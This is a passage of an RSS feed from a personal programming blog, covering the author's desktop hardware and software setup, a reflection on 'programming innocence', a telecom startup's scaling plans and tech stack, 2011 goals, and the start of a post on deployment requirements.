&lt;li>&lt;strong>Amplifier&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B004M172FY/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B004M172FY&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="FiiO E9 / E7">FIIO E9 / E7&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Headphones&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B0042A8CW2/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B0042A8CW2&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Sennheiser HD598">Sennheiser HD598&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Reading&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B002GYWHSQ/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B002GYWHSQ&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Kindle DX">Kindle DX (latest)&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Phone&lt;/strong>: &lt;a href="http://www.amazon.com/gp/product/B004ZF0E16/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=B004ZF0E16&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="HTC G2">HTC G2&lt;/a> (Android 2.2)&lt;/li>
&lt;/ul>
&lt;p>I prefer using a desktop over a laptop. I&amp;rsquo;ve never really been a fan of
laptops. They are annoying to carry around, I don&amp;rsquo;t like plugging stuff into
them, and I don&amp;rsquo;t like touch pads (they interfere with my typing). I build a
new desktop every year, and the one I have now is great. I&amp;rsquo;ve got a large desk
(6&amp;quot; wide) from Costco that I use, and it&amp;rsquo;s large enough to house both of my 26&amp;quot;
monitors, speakers, a USB hub, and my amps with plenty of desk space left over.&lt;/p>
&lt;p>I love having two monitors. I&amp;rsquo;m a big fan of huge workspaces, it helps me
navigate work much easier. I&amp;rsquo;ll typically keep Vim full screen on one, and
chrome / music / TV on the other, depending on what I&amp;rsquo;m currently working on.&lt;/p>
&lt;p>My keyboard and mouse are both Logitech. Since I&amp;rsquo;m a programmer, I sit at a
computer most of the day. I&amp;rsquo;ve used various types of keyboards and mice
through the years, but these are my favorites. The illuminated keyboard is
perfect. It&amp;rsquo;s slim, has a full number pad, perfect lighting for night-time
hacking, and soft keys that have just the right amount of tension, so it feels
good to type on. The Performance MX mouse is also a favorite. I hate having
mouse cords run across my desk, but also hate most wireless mice because
they&amp;rsquo;ll get periodically choppy&amp;ndash;not this one. The Performance MX is really
smooth, and responds perfectly even after long periods of inactivity. It also
lasts a good three days on a single charge, and only takes about 10 minutes to
fully charge.&lt;/p>
&lt;p>The Sennheiser headphones are awesome. I only acquired them recently, but they
completely changed my coding experience. They completely isolate your from the
outside world, and provide really smooth bass and a clear listening experience.
I often code wearing headphones through the day, and the difference between
these and my old 50$ makes it totally worth the cost.&lt;/p>
&lt;p>For reading&amp;ndash;I LOVE my Kindle. I read a lot of books (30 minutes a day,
minimum), and the kindle has been a great way for me to save money and
consolidate my collection. I&amp;rsquo;ve still got a rather large collection of
physical books, but I&amp;rsquo;m slowly phasing it out in favor of kindle books. There
are very few books that I wouldn&amp;rsquo;t read on a kindle (mostly fitness books, with
large pictures), but that&amp;rsquo;s about it. Most tech books I read display
perfectly, and it&amp;rsquo;s become an essential part of my day.&lt;/p>
&lt;p>And lastly, I use an HTC G2 phone. I love Android OS, and couldn&amp;rsquo;t really live
without it. I keep all of my contacts in Gmail, which nicely syncs down to my
phone, and vice-versa, which really makes daily life simple.&lt;/p>
&lt;p>And here&amp;rsquo;s a picture of my workspace:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/my-workspace.png" alt="My Workspace" title="My Workspace">
&lt;/p>
&lt;h2 id="operating-system-details">Operating System Details&lt;/h2>
&lt;p>I used to hate KDE, really hate it. It was slow, choppy, and generally ugly.
The 4.x versions, however, are completely different. I made the switch from
Ubuntu to Kubuntu about a year ago now, and have been incredibly impressed.&lt;/p>
&lt;p>KDE is a great desktop environment. It&amp;rsquo;s fast, can make use of all the normal
desktop effects (if you&amp;rsquo;ve got a decent GPU), and is highly customizable.&lt;/p>
&lt;p>Here are some random screen shots of my desktop:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/desktop-screenshot-1.png" alt="Desktop Screenshot 1" title="Desktop Screenshot 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/desktop-screenshot-2.png" alt="Desktop Screenshot 2" title="Desktop Screenshot 2">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/desktop-screenshot-3.png" alt="Desktop Screenshot 3" title="Desktop Screenshot 3">
&lt;/p>
&lt;h2 id="software">Software&lt;/h2>
&lt;p>The most important part of any environment is obviously the software. Over the
years, I&amp;rsquo;ve tried numerous tools, and I routinely try new ones. The ones that
follow are the ones I absolutely couldn&amp;rsquo;t live without.&lt;/p>
&lt;h3 id="chrome">Chrome&lt;/h3>
&lt;p>I love using &lt;a href="http://www.google.com/chrome" title="Google Chrome">Google Chrome&lt;/a>. It&amp;rsquo;s got great developer tools built in for
working on your sites, has a lot of great plugins, and magically syncs your
bookmarks with your Gmail account. It&amp;rsquo;s also much faster to start and run than
Firefox, and has a really clean look to it. The main killer feature for me is
the app sync. Whenever you sign into your Google account on another chrome
browser, it will automatically install all of your apps&amp;ndash;makes switching
computers simple as shit.&lt;/p>
&lt;p>Plugins I use daily:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.tweetdeck.com/" title="TweetDeck">TweetDeck&lt;/a>: To view and use my Facebook and Twitter accounts. It&amp;rsquo;s the
best client ever made. Runs in a browser tab, and has sexy desktop
notifications.&lt;/li>
&lt;li>&lt;a href="https://chrome.google.com/webstore/detail/gighmmpiobklfepjocnamgkkbiglidom" title="Adblock">Adblock&lt;/a>: Who likes viewing ads? Nobody, that&amp;rsquo;s who.&lt;/li>
&lt;li>&lt;a href="https://chrome.google.com/webstore/detail/kcnhkahnjcbndmmehfkdnkjomaanaooo" title="Google Voice">Google Voice&lt;/a>: If you use Google Voice, this plugin is a must. It lets
you make calls from your browser, send SMS from your browser, listen to
voicemails, etc. It contains everything awesome about telephony in a
single icon.&lt;/li>
&lt;li>&lt;a href="https://chrome.google.com/webstore/detail/oddhbkghjoccbljmagcgoklbfdjeiinb" title="Minimalist for Gmail">Minimalist for Gmail&lt;/a>: This plugin lets you pick and choose Gmail
features to enable or disable. Let&amp;rsquo;s you clean up your Gmail interface and
remove all the cruft you don&amp;rsquo;t want to see. Immensely pleasing.&lt;/li>
&lt;li>&lt;a href="https://chrome.google.com/webstore/detail/dbepggeogbaibhgnhhndojpepiihcmeb" title="Vimium">Vimium&lt;/a>: For people like me who use Vim like crack, vimium is the
perfect productivity tool. It lets you use Vim key mappings inside chrome
to navigate webpages without touching your mouse.&lt;/li>
&lt;li>&lt;a href="https://chrome.google.com/webstore/detail/ckibcdccnfeookdmbahgiakhnjcddpki" title="Webpage Screenshot">Webpage Screenshot&lt;/a>: Take screen shots of web pages. Great for quickly
sharing a screeny with some friends.&lt;/li>
&lt;/ul>
&lt;h3 id="konsole">Konsole&lt;/h3>
&lt;p>KDE&amp;rsquo;s Konsole (terminal emulator) is by far my favorite terminal. It has a
great GUI paired with lots of functionality and flexibility. The default key
bindings work great, and are intuitive. It meets pretty much all of my
terminal needs&amp;ndash;with style.&lt;/p>
&lt;p>Here&amp;rsquo;s a couple screen shots:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/konsole-screenshot-1.png" alt="Konsole Screenshot 1" title="Konsole Screenshot 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/konsole-screenshot-2.png" alt="Konsole Screenshot 2" title="Konsole Screenshot 2">
&lt;/p>
&lt;h3 id="vim">Vim&lt;/h3>
&lt;p>As I mentioned before&amp;ndash;Vim is my editor of choice. I code a lot, and Vim makes
coding easy. I&amp;rsquo;ve messed around with lots of other options: emacs, eclipse,
gedit, kate, and some other tools, but Vim has always been my first choice.&lt;/p>
&lt;p>The Vim key bindings are intuitive, and make editing simple. I&amp;rsquo;m able to fly
through large sets of files, making small changes and frequently doing Git
commits with ease. I&amp;rsquo;ve still got a long way to go before my Vim skills are
advanced level, but even at a beginner level, I still find myself extremely
happy with my productivity.&lt;/p>
&lt;p>In addition to the (wide array) of basic Vim tools, I also use several plugins
which really improve the experience. In no particular order:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/tpope/vim-pathogen" title="pathogen">pathogen&lt;/a>: Makes it easy to install new plugins and keep them organized.&lt;/li>
&lt;li>&lt;a href="https://github.com/rodjek/vim-puppet" title="vim-puppet">vim-puppet&lt;/a>: Adds syntax highlighting for puppet files.&lt;/li>
&lt;li>&lt;a href="https://github.com/kevinw/pyflakes-vim" title="vim-pyflakes">vim-pyflakes&lt;/a>: Magically interprets your python code as you write it,
and gives you interpreter errors in your vim status window so that you can
fix them without ever running the code.&lt;/li>
&lt;li>&lt;a href="https://github.com/gordyt/rope-vim" title="ropevim">ropevim&lt;/a>: Adds lots of handy vim key mappings for refactoring python
code.&lt;/li>
&lt;li>&lt;a href="https://github.com/msanders/snipmate.vim" title="snipmate">snipmate&lt;/a>: Lets you build (and use) code snippets for automatically
populating code based on what you&amp;rsquo;re typing. For example, if you find
yourself typing &lt;code>for x in blah:&lt;/code> a lot, you can make a snippet for that,
and when you start typing that statement it will automatically insert a
template, and let you tab through the variables to update them. Saves a
TON of time.&lt;/li>
&lt;li>&lt;a href="https://github.com/robhudson/snipmate_for_django" title="snipmate_django">snipmate_django&lt;/a>: Django snippets.&lt;/li>
&lt;li>&lt;a href="https://github.com/vim-scripts/trailing-whitespace" title="trailing-whitespace">trailing-whitespace&lt;/a>: Removes all trailing whitespace from your files.
I hate trailing whitespace.&lt;/li>
&lt;li>&lt;a href="https://github.com/tpope/vim-fugitive" title="vim-fugitive">vim-fugitive&lt;/a>: Adds Git support into Vim. Never leave your Vim window
again to use Git!&lt;/li>
&lt;li>&lt;a href="https://github.com/tpope/vim-unimpaired" title="vim-unimpaired">vim-uninpaired&lt;/a>: Adds key mappings for scrolling through files.
Especially useful when using with vim-fugitive. You can scroll through
versions of a file controlled with git using hotkeys.&lt;/li>
&lt;/ul>
&lt;p>Obligatory screen shots:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/vim-screenshot-1.png" alt="Vim Screenshot 1" title="Vim Screenshot 1">
&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/vim-screenshot-2.png" alt="Vim Screenshot 2" title="Vim Screenshot 2">
&lt;/p>
&lt;h3 id="screen">Screen&lt;/h3>
&lt;p>I only recently learned how to use GNU screen properly. I will never go back.
Using screen has given me a huge productivity boost. It lets you navigate
through windows quickly, mash windows together via splits, maintain copy+paste
buffers between screens, and do interactive sessions with other developers.&lt;/p>
&lt;p>Before I started using screen, I would maintain at least 8 Konsole windows at
all times. This was not optimal, because in order to switch between windows, I
would have to analyze ALT+TAB combinations carefully and slowly, or move my
hands off the keyboard to use the mouse. Both of those solutions are slow and
annoying when you&amp;rsquo;re trying to quickly navigate windows. Using screen
completely changed my work flow. Now I&amp;rsquo;ll typically maintain a single Konsole
window full screen using GNU screen, and keep multiple screen windows open that
I&amp;rsquo;ll switch through using &lt;code>CTRL+a &amp;lt;numeric&amp;gt;&lt;/code> or &lt;code>CTRL+a &amp;lt;p/n&amp;gt;&lt;/code> (previous and
next windows, respectively). This makes switching windows quick, efficient,
and non-intrusive to my daily work flow.&lt;/p>
&lt;p>Furthermore, I maintain a decent &lt;code>.screenrc&lt;/code> file, which includes two status
lines that always display:&lt;/p>
&lt;ul>
&lt;li>The &lt;code>hostname&lt;/code> of the computer I&amp;rsquo;m working on.&lt;/li>
&lt;li>The load average.&lt;/li>
&lt;li>The date and time.&lt;/li>
&lt;li>All screen windows that are open, and a special notation for the active
screen window.&lt;/li>
&lt;/ul>
&lt;p>This makes it easy to identify my active windows, and keep track of what is
where:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/gnu-screen-screenshot.png" alt="GNU Screen Screenshot" title="GNU Screen Screenshot">
&lt;/p>
&lt;h3 id="dropbox">Dropbox&lt;/h3>
&lt;p>&lt;a href="http://db.tt/nP9tpb2" title="Dropbox">Dropbox&lt;/a> just makes everything easier. I use it to sync all of my desktop
files: code, music, pictures, configuration files, etc. Most of my &lt;code>/home&lt;/code>
directory is synced there somewhere. Dropbox (if you haven&amp;rsquo;t heard of it),
allows you to sync files between multiple computers. I put all of my files
into my &lt;code>/home/rdegges/Dropbox&lt;/code> folder, and then symlink to major folders from
there, e.g. &lt;code>ln -s /home/rdegges/Dropbox/Documents /home/rdegges/Documents&lt;/code>.
Makes all of my stuff sync transparently.&lt;/p>
&lt;p>The main benefits with Dropbox are that all my files are always backed up, and
that I can easily switch computers. Let&amp;rsquo;s say I need to use my laptop
somewhere, as soon as I turn it on, it&amp;rsquo;ll sync all my desktop files to my
laptop, and essentially fully configure my data for me. No work necessary.&lt;/p>
&lt;h3 id="amarok">Amarok&lt;/h3>
&lt;p>I listen to a lot of music. &lt;a href="http://amarok.kde.org/en" title="Amarok">Amarok&lt;/a> is my favorite music player for Linux.
It has lots of great plugins (including &lt;a href="http://www.last.fm/home" title="last.fm">last.fm&lt;/a> support), album art,
lyrics, streaming servers, and lots of other goodies. It also has a great UI
which cleanly integrates with my KDE desktop, and the globally configurable
hot keys allow me to quickly sort through music without ever touching the
mouse.&lt;/p>
&lt;p>Screen shot below.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/amarok-screenshot.png" alt="Amarok Screenshot" title="Amarok Screenshot">
&lt;/p>
&lt;h3 id="irssi">IRSSI&lt;/h3>
&lt;p>If you&amp;rsquo;ve ever used IRC, you&amp;rsquo;ve likely heard of &lt;a href="http://www.irssi.org/" title="IRSSI">IRSSI&lt;/a>. It&amp;rsquo;s probably the
best IRC client for command line users. It provides tons of configuration
options, a clean interface, and intuitive key mappings for navigating the UI.
I use IRC all the time (have been IRC longer than I&amp;rsquo;ve been using Linux,
actually), and IRSSI is my weapon of choice.&lt;/p>
&lt;p>Screen shot:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2011/my-desktop-environment/irssi-screenshot.png" alt="IRSSI Screenshot" title="IRSSI Screenshot">
&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Those are my tools in a nutshell. I&amp;rsquo;m specifically not including my coding
tools here (Judson, fabric, Python, etc.) because that should really be in a
separate post.&lt;/p></description></item><item><title>Programming Innocence</title><link>https://rdegges.com/2011/programming-innocence/</link><pubDate>Tue, 11 Jan 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/programming-innocence/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/programming-innocence/warrior-sketch.png" alt="Warrior Sketch" title="Warrior Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been programming for a long time. When I first started programming, I
would spend as long as I humanely could on the computer writing code. Sure, my
code sucked, but I was having fun, and I was learning a lot.  Over the years,
this programming innocence left me.&lt;/p>
&lt;p>The one true thing that can strip a programmer of his innocence is fear. Fear
of not knowing the best way to do things (best practices). Fear of not using
the right tools and languages. Fear of errors (especially compiler errors).
Fear of schedules. Fear of publicity (what will other programmers think about
this code?).  I suspect that all programmers experience those fears in greater
and greater amounts as they become better and better.&lt;/p>
&lt;p>Programming innocence is a powerful thing.  When reflecting about this topic
in my head over the past week or so, I immediately began thinking of the best
programmers I know. What do I respect about them? What makes them so great?
I believe that in most cases, their greatness can be directly correlated to
their innocence. The best programmers I know are the ones who naively charge
into battle: fearlessly removing code, spending days in complete isolation
getting a prototype hacked together, ignoring all critics and outside
influences. These guys are my heroes. They code ruthlessly in order to solve
their problems. They yield for nothing.&lt;/p>
&lt;p>So how can you regain your programming innocence once it has been lost?&lt;/p>
&lt;p>Just Say &amp;ldquo;fuck it&amp;rdquo;&lt;/p>
&lt;ul>
&lt;li>Found a more efficient way to write your code? Implement that shit! Don&amp;rsquo;t
make yourself worry about all you have to learn, just learn it. Code can
be enhanced over time, so don&amp;rsquo;t worry that learning new things in the
future will waste your time now. Every time you write code, you grow.&lt;/li>
&lt;li>Worried that your library / programming language / etc. will be outdated in
the next few years? Don&amp;rsquo;t be. Think agile. When things change, change
your code with it.&lt;/li>
&lt;li>Feeling stressed out by that deadline? Fuck it. You are a hacking god.
If you stare at the computer hard enough, the code will practically write
itself. Be confident in your abilities, and never be afraid to completely
isolate yourself from the world, and code like an animal.&lt;/li>
&lt;li>Do you worry what other programmers will say about your code? Don&amp;rsquo;t let
that stop you. If other people have a problem with your code, have them
send you a pull request.&lt;/li>
&lt;/ul>
&lt;p>The moral is: when things bring you down, instead of letting them best you,
remain innocent. Hack your heart out every day, and don&amp;rsquo;t forget that the only
thing that really matters is how much fun you have along the way.&lt;/p></description></item><item><title>Startup Mode</title><link>https://rdegges.com/2011/startup-mode/</link><pubDate>Thu, 06 Jan 2011 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2011/startup-mode/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2011/startup-mode/monster-sketch.png" alt="Monster Sketch" title="Monster Sketch">
&lt;/p>
&lt;p>Yesterday I got some exciting news. Very exciting. My company is going to be
doing some massive, explosive expansion over the next 90 days. How expansive?
Well, we&amp;rsquo;re going to attempt to scale our services 10x across the board. That
means 10x user count, 10x bug fixing, 10x feature additions, and 1/10th the
time.&lt;/p>
&lt;p>We&amp;rsquo;re going to do a sprint. The most epic sprint I&amp;rsquo;ve ever done. All or
nothing, win or go home. I&amp;rsquo;m going into startup mode.&lt;/p>
&lt;h2 id="the-story">The Story&lt;/h2>
&lt;p>I work for a telecommunications company. We do a wide variety of stuff, one of
our largest services being free to use conference lines. This project is
especially interesting to me, because it uses many different technologies, and
offers a lot of room for improvement and exciting research.&lt;/p>
&lt;p>Our conference lines are pretty popular in the US (and Canada, surprisingly).
So popular, that we run into limits on the services we can offer due to lack of
capacity (we can only get so many phone lines, you know).&lt;/p>
&lt;p>In order to continue growing, we signed a contract with an enormous telco to
give us almost unlimited capacity, but at a cost: we must increase our service
usage substantially in the first two months. So&amp;ndash;that&amp;rsquo;s exactly what we&amp;rsquo;re
going to do.&lt;/p>
&lt;h2 id="the-challenge">The Challenge&lt;/h2>
&lt;p>This challenge is interesting from a technical standpoint. In order to support
10x as many users, we need to update our infrastructure, and in order to keep
services running smoothly, we need to fix lots of bugs, and add new features
and monitoring tools to our lineup.&lt;/p>
&lt;p>Over this next (crazy) month, I&amp;rsquo;m going to be providing some pretty regular
updates to my blog (you&amp;rsquo;re reading it now), which contain the challenges we&amp;rsquo;re
facing technically, and how we resolve them. Telephony is pretty interesting
stuff, when you get down to it.&lt;/p>
&lt;h2 id="the-technology">The Technology&lt;/h2>
&lt;p>Our tech stack is pretty widely varied right now. There are a LOT of things
that still need to get implemented and fixed, but here&amp;rsquo;s the tools and tech we
use to operate:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://www.mysql.com/" title="MySQL">MySQL&lt;/a>: for all of our current database stuff.&lt;/li>
&lt;li>&lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a>: migrating all our database stuff to it.&lt;/li>
&lt;li>&lt;a href="http://python.org/" title="Python">Python&lt;/a>: our programming language of choice.&lt;/li>
&lt;li>&lt;a href="https://www.djangoproject.com/" title="Django">Django&lt;/a>: our web framework. We use it extensively for our public sites,
internal API calls, and eventually public API calls as well.&lt;/li>
&lt;li>&lt;a href="http://www.rabbitmq.com/" title="RabbitMQ">RabbitMQ&lt;/a>: a message passing library used for time-intensive queued
tasks.&lt;/li>
&lt;li>&lt;a href="http://celeryproject.org/" title="Celery">Celery&lt;/a>: A Python / Django wrapper for using &lt;code>rabbitmyq&lt;/code> easily. We use
this to handle stuff like report generation, accounting, etc.&lt;/li>
&lt;li>&lt;a href="https://puppetlabs.com/" title="Puppet">Puppet&lt;/a>: a program for automatically configuring (and keeping
configured) large groups of servers. It installs all of our software,
controls configuration files, and generally protects our servers from
issues.&lt;/li>
&lt;li>&lt;a href="http://mmonit.com/monit/" title="Monit">Monit&lt;/a>: a centralized monitoring solution that tries to self-heal many
server problems, as well as report issues to us when necessary.&lt;/li>
&lt;li>&lt;a href="https://getsentry.com/welcome/" title="Sentry">sentry&lt;/a>: an awesome Django plugin that provides a Django log viewer. It
helps us manage our errors and generate helpful TODO items.&lt;/li>
&lt;li>&lt;a href="https://github.com/" title="Github">Github&lt;/a>: for everything. Fuck everything about my life before Github.
Seriously.&lt;/li>
&lt;li>&lt;a href="http://www.memcached.org/" title="Memcached">memcached&lt;/a>: for caching everything. Caching is becoming a much more
important part of our stack. It was initially totally neglected, but we&amp;rsquo;re
now revisiting it and making much better use of it.&lt;/li>
&lt;li>&lt;a href="http://munin-monitoring.org/" title="Munin">munin&lt;/a>: for monitoring our network. It provides a ton of sexy graphs
and pictures that help us detect problems and plan for expansion.&lt;/li>
&lt;li>&lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a>: the core of our conference system is the Asterisk PBX. We
use it&amp;rsquo;s dialplan, AGI, and AMI libraries to help us build kick ass
software. Over the next month we&amp;rsquo;ll need to do a massive updating of our
Asterisk code.&lt;/li>
&lt;li>&lt;a href="http://www.opensips.org/" title="OpenSIPS">OpenSIPS&lt;/a>: our SIP router. We&amp;rsquo;re going to use this to load balance, and
do accounting for all of our call transactions. We&amp;rsquo;ve still got a bit of
work to do to get this working nicely the way we want it to.&lt;/li>
&lt;li>&lt;a href="http://freeradius.org/" title="FreeRadius">FreeRadius&lt;/a>: a tricky beast. Radius is one of those protocols that I
don&amp;rsquo;t like, and don&amp;rsquo;t really see the point of. However, we have to use it
to do proper call accounting, so I&amp;rsquo;ll have to set it up and manage it
again. Damn. It basically acts as a middleman between OpenSIPS and SQL.&lt;/li>
&lt;li>&lt;a href="http://json.org/" title="JSON">JSON&lt;/a>: our favorite encoding schema :)&lt;/li>
&lt;li>&lt;a href="http://www.vim.org/" title="Vim">Vim&lt;/a>: need I say more? Ok, maybe I should. Vim + pyflakes + rope =
win. That is all.&lt;/li>
&lt;li>&lt;a href="http://jenkins-ci.org/" title="Jenkins">Jenkins&lt;/a>: our CI server. We use it to both automatically test all code,
as well as automatically deploy it.&lt;/li>
&lt;li>&lt;a href="http://nvie.com/posts/a-successful-git-branching-model/" title="Git Flow">git-flow&lt;/a>: our git development model. We use it extensively for all
projects.&lt;/li>
&lt;li>&lt;a href="http://docs.fabfile.org/en/latest/" title="Fabric">fabric&lt;/a>: a python library for automating deployments. We use fabric to
script our deployment processes.&lt;/li>
&lt;li>&lt;a href="http://gunicorn.org/" title="Gunicorn">gunicorn&lt;/a>: our WSGI server of choice. It makes it insanely easy to
throw up production web servers for our Django projects.&lt;/li>
&lt;li>&lt;a href="http://www.nginx.org/" title="Nginx">nginx&lt;/a>: serves all of our static content, and load balances all of our
web requests. Love it.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m probably forgetting some stuff here (there is a lot that we use on a
day-to-day basis), but that is at least a good portion of it. At least half of
our tech stack needs significant improvements over the next 90 days, so that&amp;rsquo;s
where all the action will be.&lt;/p>
&lt;h3 id="updates">Updates&lt;/h3>
&lt;p>As I mentioned before, I&amp;rsquo;ll be updating my blog much more regularly over the
next 90 days, in order to share our insights, and help clarify my own thoughts
:) And as usual, if you have any recommendations of your own, please
&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">share them&lt;/a>!&lt;/p></description></item><item><title>What I'm Doing in 2011</title><link>https://rdegges.com/2010/what-im-doing-in-2011/</link><pubDate>Thu, 23 Dec 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/what-im-doing-in-2011/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/what-im-doing-in-2011/wolf-sketch.png" alt="Wolf Sketch" title="Wolf Sketch">
&lt;/p>
&lt;p>Another new year is quickly approaching (time seems to fly, doesn&amp;rsquo;t it)? I
thought it would be appropriate to do a brain dump of my plans and ideas for
2011.&lt;/p>
&lt;h2 id="goals">Goals&lt;/h2>
&lt;p>I&amp;rsquo;ve never been a very &amp;ldquo;goal oriented&amp;rdquo; person, instead I tend to just live in
the moment and let things happen naturally. However, this year I&amp;rsquo;m going to be
trying a lot of new things, and want to hold myself accountable using goals.&lt;/p>
&lt;ul>
&lt;li>Start a new reading habit. By the end of the year I want to be in the
habit of reading for at least 30 minutes a day.&lt;/li>
&lt;li>Start a new exercise habit. By the end of the year I want to be in the
habit of exercising for at least 30 minutes 5 times a week.&lt;/li>
&lt;li>Completely stop consuming all sodas and energy drinks. I&amp;rsquo;ve already been
soda free for around 4 months, but I want to completely remove them from my
diet.&lt;/li>
&lt;li>Continue losing weight at a rate of 1lb per week minimum (with a few
exceptions allowed for holidays and what not).&lt;/li>
&lt;li>Build and launch at least one public website that offers some sort of paid
service.&lt;/li>
&lt;li>Make the RCG and RCI teleconferencing systems the best in the world. We&amp;rsquo;ve
got some competition, and I want to completely eliminate it.&lt;/li>
&lt;li>Successfully launch &lt;a href="http://globalroute.net/" title="GlobalRoute">http://globalroute.net/&lt;/a> (my work&amp;rsquo;s new VoIP
provider).&lt;/li>
&lt;li>Give at least one technical presentation at a programming meet up. I&amp;rsquo;m
normally a pretty shy guy, but would like to make myself step out of my
normal element.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m sure that I will do other things too (at least, I hope!), but these are my
&lt;em>main&lt;/em> goals for 2011. These are the things that, if I finish, will allow me
to sleep easily at night.&lt;/p>
&lt;h2 id="tech-stuff">Tech Stuff&lt;/h2>
&lt;p>2010 was a big year for me in terms of learning and using tech stuff. In 2011
I plan to spend a lot of time mastering the tech stuff that I use daily, namely
&lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a>, &lt;a href="http://www.djangoproject.com/" title="Django">Django&lt;/a>, &lt;a href="http://www.opensips.org/" title="OpenSIPS">OpenSIPS&lt;/a>, &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a>, &lt;a href="http://python.org/" title="Python">python&lt;/a>,
&lt;a href="http://jenkins-ci.org/" title="jenkins">jenkins&lt;/a>, &lt;a href="http://docs.fabfile.org/en/latest/" title="fabric">fabric&lt;/a>, &lt;a href="https://www.puppetlabs.com/" title="puppe">puppet&lt;/a>, &lt;a href="http://memcached.org/" title="memcached">memcached&lt;/a>, and &lt;a href="http://celeryproject.org/" title="celery">celery&lt;/a>. In an
ideal situation, I will be able to rapidly deploy, scale, and develop high
performance applications and have full knowledge of all parts of the stack.&lt;/p>
&lt;p>Right now I am very familiar with these tools, but not at a &amp;ldquo;master&amp;rdquo; level.
This is something I hope to achieve through the coming year.&lt;/p>
&lt;p>Other than my wife, the real love of my life is programming. Since I was a
young teenager, I&amp;rsquo;ve been programming (or playing around on the computer) every
single day. Over the next year, I&amp;rsquo;m looking forward to doing a lot of coding,
interacting with other programmers, and having tech fun.&lt;/p>
&lt;h2 id="travel">Travel&lt;/h2>
&lt;p>I don&amp;rsquo;t think a lot of people close to me know this, but I really enjoy
traveling. I&amp;rsquo;m finally at a point where I can do a bit of travel casually, and
in 2011 I plan on doing some.&lt;/p>
&lt;p>I&amp;rsquo;m not going to be flying anywhere (fuck the TSA!), but I will be doing some
alternate forms of travel. I&amp;rsquo;ve also been looking for a new home recently (I&amp;rsquo;m
outgrowing LA), and will be traveling to some of my possible future homes to see
how I like them.&lt;/p>
&lt;p>Some of the places I&amp;rsquo;d like to visit in 2011 are (in no particular order):&lt;/p>
&lt;ul>
&lt;li>Santa Barbara&lt;/li>
&lt;li>San Francisco&lt;/li>
&lt;li>Santa Cruz&lt;/li>
&lt;li>Hawaii&lt;/li>
&lt;li>Portland&lt;/li>
&lt;li>Seattle&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m also planning on taking a cruise to Alaska with my wife at some point, as
we have both really been wanting to see the frozen tundra for quite some time
:)&lt;/p>
&lt;h2 id="other-thoughts">Other Thoughts&lt;/h2>
&lt;p>2010 was a good year. I&amp;rsquo;m looking forward to doing cool stuff in 2011, and
having fun.&lt;/p></description></item><item><title>Deployment System Requirements</title><link>https://rdegges.com/2010/deployment-system-requirements/</link><pubDate>Sat, 18 Dec 2010 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/deployment-system-requirements/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/deployment-system-requirements/robot-sketch.png" alt="Robot Sketch" title="Robot Sketch">
&lt;/p>
&lt;p>Over the past month, my colleague Kurtis and I have been engineering a fully
environment. This article discusses the requirements that we had for our
deployment system.  I eventually hope to discuss the entire thing, how we
built it, and what revisions we make.&lt;/p>
&lt;h2 id="why-deploying-can-be-painful">Why Deploying Can Be Painful&lt;/h2>
&lt;p>Most programmers hate deploying code. I certainly did until this past year.
Deploying code is (often times) much harder than writing the code itself.
Deploying requires a great deal of knowledge: OS configuration and setup, cloud
provider APIs or physical server installation quirks, numerous software
components, system monitoring, access lists, and a lot of other things.&lt;/p>
&lt;p>It&amp;rsquo;s a pain.&lt;/p>
&lt;p>At my work, we operate with a variety of technologies and tools, which makes
